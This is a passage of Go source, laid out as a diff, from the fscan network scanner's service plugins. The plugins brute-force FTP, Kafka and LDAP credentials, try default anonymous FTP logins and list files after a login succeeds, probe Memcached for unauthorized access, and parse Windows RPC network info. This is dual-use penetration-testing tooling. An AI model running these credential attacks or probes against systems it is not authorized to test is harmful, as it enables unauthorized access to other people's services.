if _, err := conn.Write(rpcBuffer2); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求2失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取网络信息响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return nil, fmt.Errorf("读取RPC响应2失败: %w", err)
|
||||
}
|
||||
|
||||
// 解析响应数据
|
||||
responseData := reply[42:]
|
||||
|
||||
// 查找响应结束标记
|
||||
for i := 0; i < len(responseData)-5; i++ {
|
||||
if bytes.Equal(responseData[i:i+6], rpcBuffer3) {
|
||||
responseData = responseData[:i-4]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析网络信息
|
||||
return p.parseNetworkInfo(responseData), nil
|
||||
}
|
||||
|
||||
// parseNetworkInfo 解析RPC响应中的网络信息
|
||||
func (p *FindNetPlugin) parseNetworkInfo(data []byte) *NetworkInfo {
|
||||
info := &NetworkInfo{
|
||||
Valid: false,
|
||||
IPv4Addrs: []string{},
|
||||
IPv6Addrs: []string{},
|
||||
}
|
||||
|
||||
encodedStr := hex.EncodeToString(data)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
if hostName != "" {
|
||||
name := p.hexUnicodeToString(hostName)
|
||||
if p.isValidHostname(name) {
|
||||
info.Hostname = name
|
||||
info.Valid = true
|
||||
}
|
||||
}
|
||||
|
||||
// 用于去重的地址集合
|
||||
seenAddresses := make(map[string]struct{})
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.ReplaceAll(encodedStr, "0700", "")
|
||||
segments := strings.Split(netInfo, "000000")
|
||||
|
||||
// 处理每个网络地址段
|
||||
for _, segment := range segments {
|
||||
if len(segment) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(segment)%2 != 0 {
|
||||
segment = segment + "0"
|
||||
}
|
||||
|
||||
addrBytes, err := hex.DecodeString(segment)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
addr := p.cleanAndValidateAddress(addrBytes)
|
||||
if _, exists := seenAddresses[addr]; addr != "" && !exists {
|
||||
seenAddresses[addr] = struct{}{}
|
||||
info.Valid = true
|
||||
|
||||
if strings.Contains(addr, ":") {
|
||||
info.IPv6Addrs = append(info.IPv6Addrs, addr)
|
||||
} else if net.ParseIP(addr) != nil {
|
||||
info.IPv4Addrs = append(info.IPv4Addrs, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
// hexUnicodeToString 将十六进制Unicode字符串转换为普通字符串
|
||||
func (p *FindNetPlugin) hexUnicodeToString(src string) string {
|
||||
if len(src)%4 != 0 {
|
||||
src += strings.Repeat("0", 4-len(src)%4)
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
if i+4 > len(src) {
|
||||
break
|
||||
}
|
||||
|
||||
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if unicode.IsPrint(rune(charCode)) {
|
||||
result.WriteRune(rune(charCode))
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
// isValidHostname 检查是否为有效主机名
|
||||
func (p *FindNetPlugin) isValidHostname(name string) bool {
|
||||
if len(name) == 0 || len(name) > 255 {
|
||||
return false
|
||||
}
|
||||
return validHostnameRegex.MatchString(name)
|
||||
}
|
||||
|
||||
// isValidNetworkAddress 检查是否为有效网络地址
|
||||
func (p *FindNetPlugin) isValidNetworkAddress(addr string) bool {
|
||||
// 检查是否为IPv4或IPv6
|
||||
if ip := net.ParseIP(addr); ip != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查是否为有效主机名
|
||||
return p.isValidHostname(addr)
|
||||
}
|
||||
|
||||
// cleanAndValidateAddress 清理并验证地址
|
||||
func (p *FindNetPlugin) cleanAndValidateAddress(data []byte) string {
|
||||
// 转换为字符串并清理不可打印字符
|
||||
addr := strings.Map(func(r rune) rune {
|
||||
if unicode.IsPrint(r) {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, string(data))
|
||||
|
||||
// 移除前后空白
|
||||
addr = strings.TrimSpace(addr)
|
||||
|
||||
if p.isValidNetworkAddress(addr) {
|
||||
return addr
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("findnet", func() Plugin {
|
||||
return NewFindNetPlugin()
|
||||
}, []int{135})
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
//go:build plugin_ftp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
ftplib "github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// FTPPlugin FTP扫描插件
|
||||
type FTPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewFTPPlugin() *FTPPlugin {
|
||||
return &FTPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ftp"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 优先检测匿名访问
|
||||
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("ftp", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ftp",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig)
|
||||
|
||||
if result.Success {
|
||||
// 成功后重新连接获取文件列表
|
||||
fileList := p.getFileListAfterAuth(info, result.Username, result.Password, config, state)
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("FTP %s %s:%s", target, result.Username, result.Password))
|
||||
if len(fileList) > 0 {
|
||||
for _, file := range fileList {
|
||||
output.WriteString(fmt.Sprintf("\n [->] %s", file))
|
||||
}
|
||||
}
|
||||
common.LogSuccess(output.String())
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建FTP认证函数
|
||||
func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doFTPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doFTPAuth 执行FTP认证
|
||||
func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyFTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
err = conn.Login(cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyFTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &ftpConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// ftpConnWrapper 包装 ftplib.ServerConn 以实现 io.Closer
|
||||
type ftpConnWrapper struct {
|
||||
*ftplib.ServerConn
|
||||
}
|
||||
|
||||
func (w *ftpConnWrapper) Close() error {
|
||||
return w.Quit()
|
||||
}
|
||||
|
||||
// classifyFTPErrorType FTP错误分类
|
||||
func classifyFTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
ftpAuthErrors := []string{
|
||||
"530 login incorrect",
|
||||
"530 not logged in",
|
||||
"530 user cannot log in",
|
||||
"530 authentication failed",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"bad password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
ftpNetworkErrors := append(CommonNetworkErrors,
|
||||
"421 there are too many connections",
|
||||
)
|
||||
|
||||
return ClassifyError(err, ftpAuthErrors, ftpNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *FTPPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ftp",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = conn.Quit() }()
|
||||
|
||||
banner := "FTP"
|
||||
common.LogSuccess(i18n.Tr("ftp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ftp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// testAnonymousAccess 测试FTP匿名访问
|
||||
func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
anonymousCreds := []Credential{
|
||||
{Username: "anonymous", Password: "anonymous"},
|
||||
{Username: "anonymous", Password: ""},
|
||||
{Username: "ftp", Password: "ftp"},
|
||||
}
|
||||
|
||||
for _, cred := range anonymousCreds {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
result := p.doFTPAuth(ctx, info, cred, config, state)
|
||||
if result.Success && result.Conn != nil {
|
||||
// 获取文件列表
|
||||
ftpConn, ok := result.Conn.(*ftpConnWrapper)
|
||||
if !ok {
|
||||
_ = result.Conn.Close()
|
||||
return nil
|
||||
}
|
||||
fileList := p.listFTPFiles(ftpConn.ServerConn)
|
||||
_ = result.Conn.Close()
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password))
|
||||
if len(fileList) > 0 {
|
||||
for _, file := range fileList {
|
||||
output.WriteString(fmt.Sprintf("\n [->] %s", file))
|
||||
}
|
||||
}
|
||||
common.LogSuccess(output.String())
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
||||
Service: "ftp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "FTP匿名访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getFileListAfterAuth 认证成功后获取文件列表
|
||||
func (p *FTPPlugin) getFileListAfterAuth(info *common.HostInfo, username, password string, config *common.Config, state *common.State) []string {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
err = conn.Login(username, password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
return nil
|
||||
}
|
||||
|
||||
fileList := p.listFTPFiles(conn)
|
||||
_ = conn.Quit()
|
||||
return fileList
|
||||
}
|
||||
|
||||
// listFTPFiles 列出FTP文件列表(前6个)
|
||||
func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string {
|
||||
files := []string{}
|
||||
|
||||
entries, err := conn.List(".")
|
||||
if err != nil {
|
||||
return files
|
||||
}
|
||||
|
||||
maxFiles := 6
|
||||
for i, entry := range entries {
|
||||
if i >= maxFiles {
|
||||
break
|
||||
}
|
||||
|
||||
fileName := entry.Name
|
||||
if len(fileName) > 50 {
|
||||
fileName = fileName[:50] + "..."
|
||||
}
|
||||
files = append(files, fileName)
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ftp", func() Plugin {
|
||||
return NewFTPPlugin()
|
||||
}, []int{21, 2121, 990})
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
//go:build plugin_kafka || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/IBM/sarama"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// KafkaPlugin Kafka扫描插件
|
||||
type KafkaPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewKafkaPlugin() *KafkaPlugin {
|
||||
return &KafkaPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("kafka"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
credentials := GenerateCredentials("kafka", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "kafka",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("kafka_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Kafka认证函数
|
||||
func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doKafkaAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doKafkaAuth 执行Kafka认证
|
||||
func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
kafkaConfig := sarama.NewConfig()
|
||||
kafkaConfig.Net.DialTimeout = config.Timeout
|
||||
kafkaConfig.Net.ReadTimeout = config.Timeout
|
||||
kafkaConfig.Net.WriteTimeout = config.Timeout
|
||||
kafkaConfig.Version = sarama.V2_0_0_0
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
kafkaConfig.Net.SASL.Enable = true
|
||||
kafkaConfig.Net.SASL.Mechanism = sarama.SASLTypePlaintext
|
||||
kafkaConfig.Net.SASL.User = cred.Username
|
||||
kafkaConfig.Net.SASL.Password = cred.Password
|
||||
kafkaConfig.Net.SASL.Handshake = true
|
||||
}
|
||||
|
||||
type kafkaResult struct {
|
||||
client sarama.Client
|
||||
err error
|
||||
}
|
||||
|
||||
resultChan := make(chan kafkaResult, 1)
|
||||
go func() {
|
||||
client, err := sarama.NewClient([]string{target}, kafkaConfig)
|
||||
resultChan <- kafkaResult{client: client, err: err}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyKafkaErrorType(result.err),
|
||||
Error: result.err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &kafkaClientWrapper{result.client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的 client
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result.client != nil {
|
||||
_ = result.client.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// kafkaClientWrapper 包装 sarama.Client 以实现 io.Closer
|
||||
type kafkaClientWrapper struct {
|
||||
sarama.Client
|
||||
}
|
||||
|
||||
func (w *kafkaClientWrapper) Close() error {
|
||||
return w.Client.Close()
|
||||
}
|
||||
|
||||
// classifyKafkaErrorType Kafka错误分类
|
||||
func classifyKafkaErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
kafkaAuthErrors := []string{
|
||||
"sasl authentication failed",
|
||||
"authentication failed",
|
||||
"invalid credentials",
|
||||
"unauthorized",
|
||||
"sasl/plain authentication failed",
|
||||
}
|
||||
|
||||
kafkaNetworkErrors := append(CommonNetworkErrors,
|
||||
"kafka: client has run out of available brokers",
|
||||
"broker not available",
|
||||
"no available brokers",
|
||||
)
|
||||
|
||||
return ClassifyError(err, kafkaAuthErrors, kafkaNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 尝试无认证连接
|
||||
emptyCred := Credential{Username: "", Password: ""}
|
||||
result := p.doKafkaAuth(ctx, info, emptyCred, config, state)
|
||||
if result.Success && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
banner := "Kafka (无认证)"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试检测协议
|
||||
kafkaConfig := sarama.NewConfig()
|
||||
kafkaConfig.Net.DialTimeout = config.Timeout
|
||||
kafkaConfig.Version = sarama.V2_0_0_0
|
||||
|
||||
client, err := sarama.NewClient([]string{target}, kafkaConfig)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if p.isKafkaProtocolError(err) {
|
||||
banner := "Kafka (需要认证)"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "kafka",
|
||||
Error: fmt.Errorf("无法识别为Kafka服务"),
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = client.Close()
|
||||
|
||||
banner := "Kafka"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) isKafkaProtocolError(err error) bool {
|
||||
errStr := strings.ToLower(err.Error())
|
||||
return strings.Contains(errStr, "sasl") ||
|
||||
strings.Contains(errStr, "authentication") ||
|
||||
strings.Contains(errStr, "kafka") ||
|
||||
strings.Contains(errStr, "broker")
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("kafka", func() Plugin {
|
||||
return NewKafkaPlugin()
|
||||
}, []int{9092, 9093, 9094})
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
//go:build plugin_ldap || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// LDAPPlugin LDAP扫描插件
|
||||
type LDAPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewLDAPPlugin() *LDAPPlugin {
|
||||
return &LDAPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ldap"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
credentials := GenerateCredentials("ldap", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ldap",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("ldap_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建LDAP认证函数
|
||||
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doLDAPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doLDAPAuth 执行LDAP认证
|
||||
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
conn, err := p.connectLDAP(ctx, info, config)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyLDAPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 尝试多种DN格式进行绑定测试
|
||||
dnFormats := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username),
|
||||
cred.Username,
|
||||
}
|
||||
|
||||
for _, dn := range dnFormats {
|
||||
if bindErr := conn.Bind(dn, cred.Password); bindErr == nil {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &ldapConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("所有DN格式都失败"),
|
||||
}
|
||||
}
|
||||
|
||||
// ldapConnWrapper 包装 ldap.Conn 以实现 io.Closer
|
||||
type ldapConnWrapper struct {
|
||||
*ldaplib.Conn
|
||||
}
|
||||
|
||||
func (w *ldapConnWrapper) Close() error {
|
||||
return w.Conn.Close()
|
||||
}
|
||||
|
||||
// connectLDAP 连接LDAP服务器
|
||||
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) {
|
||||
target := info.Target()
|
||||
|
||||
type result struct {
|
||||
conn *ldaplib.Conn
|
||||
err error
|
||||
}
|
||||
resultChan := make(chan result, 1)
|
||||
|
||||
go func() {
|
||||
tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
resultChan <- result{nil, err}
|
||||
return
|
||||
}
|
||||
|
||||
var conn *ldaplib.Conn
|
||||
if info.Port == 636 {
|
||||
conn = ldaplib.NewConn(tcpConn, true)
|
||||
} else {
|
||||
conn = ldaplib.NewConn(tcpConn, false)
|
||||
}
|
||||
conn.Start()
|
||||
|
||||
resultChan <- result{conn, nil}
|
||||
}()
|
||||
|
||||
select {
|
||||
case res := <-resultChan:
|
||||
return res.conn, res.err
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
res := <-resultChan
|
||||
if res.conn != nil {
|
||||
_ = res.conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// classifyLDAPErrorType LDAP错误分类
|
||||
func classifyLDAPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
ldapAuthErrors := []string{
|
||||
"invalid credentials",
|
||||
"authentication failed",
|
||||
"bind failed",
|
||||
"ldap result code",
|
||||
"invalid dn",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
ldapNetworkErrors := append(CommonNetworkErrors,
|
||||
"ldap: connection lost",
|
||||
"ldap: connection error",
|
||||
)
|
||||
|
||||
return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := p.connectLDAP(ctx, info, config)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ldap",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
banner := "LDAP"
|
||||
common.LogSuccess(i18n.Tr("ldap_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ldap",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ldap", func() Plugin {
|
||||
return NewLDAPPlugin()
|
||||
}, []int{389, 636, 3268, 3269})
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
//go:build plugin_memcached || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MemcachedPlugin Memcached扫描插件
|
||||
type MemcachedPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMemcachedPlugin() *MemcachedPlugin {
|
||||
return &MemcachedPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("memcached"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("memcached_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
// Memcached通常不需要认证,如果上面检测失败则服务可能不可用
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法访问Memcached服务"),
|
||||
}
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试Memcached未授权访问
|
||||
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
conn := p.connectToMemcached(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if p.testBasicCommand(conn, config) {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "memcached",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
||||
target := info.Target()
|
||||
|
||||
connChan := make(chan net.Conn, 1)
|
||||
|
||||
go func() {
|
||||
